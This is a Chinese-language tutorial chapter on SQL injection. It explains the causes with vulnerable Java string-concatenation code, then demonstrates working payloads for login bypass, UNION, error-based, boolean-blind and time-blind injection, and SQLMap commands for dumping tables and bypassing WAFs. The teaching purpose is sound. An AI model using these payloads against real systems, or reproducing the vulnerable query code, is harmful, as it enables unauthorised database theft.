4. SQL注入原理与实战:从成因到自动化利用

SQL注入,说白了就是攻击者把SQL代码塞进了你的输入框里。你本来想让他输入一个用户名,结果他输入了一段SQL语句——而你的程序没拦住,直接把它拼到了数据库查询里。嗯,这就是SQL注入的根儿。

我最早接触SQL注入是在一次渗透测试里。客户说他们的系统“绝对安全”,结果我花了两分钟,在登录框里敲了个单引号,页面直接报错,数据库名都露出来了。从那以后我就明白了一个道理:永远不要相信用户的输入。

核心一句话:SQL注入的本质是“数据与代码未分离”。用户输入的数据被当成了可执行的SQL代码。

4.1 SQL注入的成因

成因其实很简单,就三个条件:

  1. 用户输入可控——比如URL参数、表单字段、Cookie等。
  2. 输入被拼接到SQL语句中——没有做参数化查询或过滤。
  3. 拼接后的SQL被数据库执行了——攻击者就能控制查询逻辑。

举个例子,一个典型的漏洞代码长这样:

String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

如果用户输入 admin' OR '1'='1,拼接后的SQL就变成了:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = ''

你看,OR '1'='1' 永远为真,整个查询就绕过了密码验证。我在项目中遇到过好几次,开发人员觉得“用户不会这么输入”,结果就被打了脸。

避坑指南:我曾经见过一个团队,他们用黑名单过滤了“select”、“union”这些关键词,结果攻击者用 UNION(大小写混合)就绕过去了。黑名单永远防不住,别用。

4.2 联合查询注入

联合查询注入,就是利用 UNION 关键字把两个查询的结果合并在一起。攻击者可以控制第二个查询,把数据库里的敏感数据“拉”到页面上来。

基本套路分三步:

  1. 判断列数——用 ORDER BY 或 UNION SELECT 试出原查询有几列。
  2. 找到显示位——看页面上哪个位置能显示查询结果。
  3. 提取数据——在显示位放上 database()、user()、表名、字段名、数据。

举个例子,假设URL是:

http://example.com/product?id=1

先试列数:

http://example.com/product?id=1 ORDER BY 3 --+

如果返回正常,说明有3列。再试显示位:

http://example.com/product?id=-1 UNION SELECT 1,2,3 --+

页面上如果显示了2和3,那就把2和3换成你要的数据:

http://example.com/product?id=-1 UNION SELECT 1,database(),version() --+

我个人习惯用 id=-1 让原查询返回空,这样联合查询的结果就能直接显示出来。你想想看,如果原查询有结果,联合查询的结果会追加在后面,有时候不容易看到。

小技巧:MySQL里用 --+ 或 # 注释掉后面的SQL。在SQL Server里用 --。Oracle里用 -- 或 /*。不同数据库的注释符不一样,踩过坑你就记住了。

4.3 报错注入

报错注入适用于页面不直接显示数据,但会显示数据库错误信息的情况。说白了,就是利用数据库函数在报错时把数据“带”出来。

常用的报错函数有:

数据库 常用函数 示例
MySQL extractvalue()、updatexml() AND extractvalue(1, concat(0x7e, (SELECT database())))
SQL Server convert()、cast() AND 1=convert(int, (SELECT @@version))
Oracle ctxsys.drithsx.sn()、XMLType() AND 1=ctxsys.drithsx.sn(1, (SELECT banner FROM v$version))

我记得有一次做测试,页面只返回“查询成功”或“查询失败”,没有数据显示。联合查询用不了,但报错信息却完整地显示在页面上。我用了 extractvalue(),直接把数据库名、表名全报出来了。嗯,这就是报错注入的妙处。

注意:报错注入依赖数据库的错误信息。如果生产环境关闭了错误显示,这招就不好使了。我建议你在测试时先确认一下错误信息是否可见。

4.4 布尔盲注

布尔盲注,就是页面不显示数据,也不报错,只返回“真”或“假”两种状态。比如登录成功/失败、页面存在/不存在。攻击者就靠这个“是/否”来猜数据。

基本思路:

  1. 判断注入点——比如 id=1 AND 1=1 返回正常,id=1 AND 1=2 返回异常,说明存在注入。
  2. 猜数据库名长度——AND LENGTH(database())>N,逐步缩小范围。
  3. 猜每个字符——AND SUBSTR(database(),N,1)='a',用二分法或逐字符爆破。

举个例子,猜数据库名的第一个字符:

http://example.com/product?id=1 AND SUBSTR(database(),1,1)='a' --+

如果页面正常,说明第一个字符是'a';如果异常,就试'b'、'c'……直到猜对。这个过程很慢,但确实有效。

你想想看,如果数据库名有10个字符,每个字符要试几十次,手工做的话能把你累死。所以布尔盲注一般配合工具或脚本。我建议你至少写个Python脚本,或者直接用SQLMap。

效率技巧:用二分法代替逐字符爆破。ASCII码范围是0-127,先猜中间值64,大了就猜96,小了就猜32……这样每个字符最多7次就能确定,比从'a'试到'z'快得多。

4.5 时间盲注

时间盲注,就是页面既不显示数据,也不报错,连“真/假”状态都没有。唯一能用的就是——让数据库“睡一会儿”。

核心函数:

  • MySQL:SLEEP(N)——让查询延迟N秒。
  • SQL Server:WAITFOR DELAY '0:0:N'——延迟N秒。
  • PostgreSQL:PG_SLEEP(N)——延迟N秒。

基本用法:

http://example.com/product?id=1 AND IF(SUBSTR(database(),1,1)='a', SLEEP(3), 0) --+

如果页面3秒后才加载,说明第一个字符是'a';如果瞬间加载,说明不是。嗯,就是这么暴力。

我曾经在一个内网测试里遇到过这种情况:所有错误信息都被屏蔽了,页面永远返回200,内容也一模一样。唯一能用的就是时间盲注。我写了个脚本,跑了整整一个晚上,才把数据库里的数据全部拖出来。说实话,时间盲注是最慢的,但也是最“万能”的——只要网络稳定,它总能工作。

避坑指南:时间盲注对网络延迟很敏感。如果网络本身就有波动,延迟3秒和延迟5秒可能分不清。我建议你设置延迟时间在5秒以上,并且多次验证。另外,别在生产环境上跑时间盲注,会让数据库响应变慢,影响正常用户。

4.6 SQLMap自动化利用

SQLMap是目前最成熟的SQL注入自动化工具。说实话,手工注入能做的,它基本都能做;手工注入做不了的,它也能做。我建议你把它当成“重型武器”,但别依赖它——手工思路还是要懂。

基本用法:

# 检测注入点
sqlmap -u "http://example.com/product?id=1"

# 获取数据库列表
sqlmap -u "http://example.com/product?id=1" --dbs

# 获取指定数据库的表
sqlmap -u "http://example.com/product?id=1" -D dbname --tables

# 获取指定表的字段
sqlmap -u "http://example.com/product?id=1" -D dbname -T tablename --columns

# 获取数据
sqlmap -u "http://example.com/product?id=1" -D dbname -T tablename -C col1,col2 --dump

常用参数:

参数 作用 示例
--level 检测深度(1-5),越高越全面 --level=3
--risk 风险等级(1-3),越高越激进 --risk=2
--batch 自动选择默认选项,不用手动确认 --batch
--threads 并发线程数,加速盲注 --threads=10
--cookie 设置Cookie,用于需要登录的场景 --cookie="PHPSESSID=abc123"
--data POST请求的数据 --data="username=admin&password=123"

我个人习惯先用 --level=3 --risk=2 做一次全面检测,确认注入点类型后,再针对性地用 --technique 指定注入技术(B:布尔盲注,E:报错注入,U:联合查询,T:时间盲注,S:堆叠查询)。

实战技巧:如果目标网站有WAF(Web应用防火墙),可以试试 --tamper 参数加载绕过脚本。比如 --tamper=space2comment 把空格换成注释,--tamper=between 用 BETWEEN 代替 > 和 <。SQLMap自带了上百个tamper脚本,够你用的。

4.7 知识体系总览

下面这张图把SQL注入的几种类型和它们之间的关系梳理了一下。你可以把它当成一个“决策树”——遇到不同的场景,选不同的技术。

SQL注入知识体系总览 SQL注入 联合查询注入 报错注入 布尔盲注 时间盲注 适用场景 页面有数据显示位 适用场景 页面显示错误信息 适用场景 页面有“真/假”状态 适用场景 页面无任何回显 SQLMap 自动化利用 检测注入点 枚举数据库/表 提取字段/数据 WAF绕过 防御:参数化查询 + 输入验证 + 最小权限原则

从图上你能看到,SQL注入的几种技术是递进的关系。联合查询最快,但要求页面有显示位;报错注入次之,但依赖错误信息;布尔盲注和时间盲注最慢,但适用范围最广。SQLMap把这些技术都整合在了一起,你只需要指定目标,它自动帮你选最优方案。

嗯,这一章的内容就到这里。SQL注入的原理和实战技术,说白了就是“数据与代码分离”这个核心问题。你理解了这一点,后面学什么注入技术都只是换了个姿势而已。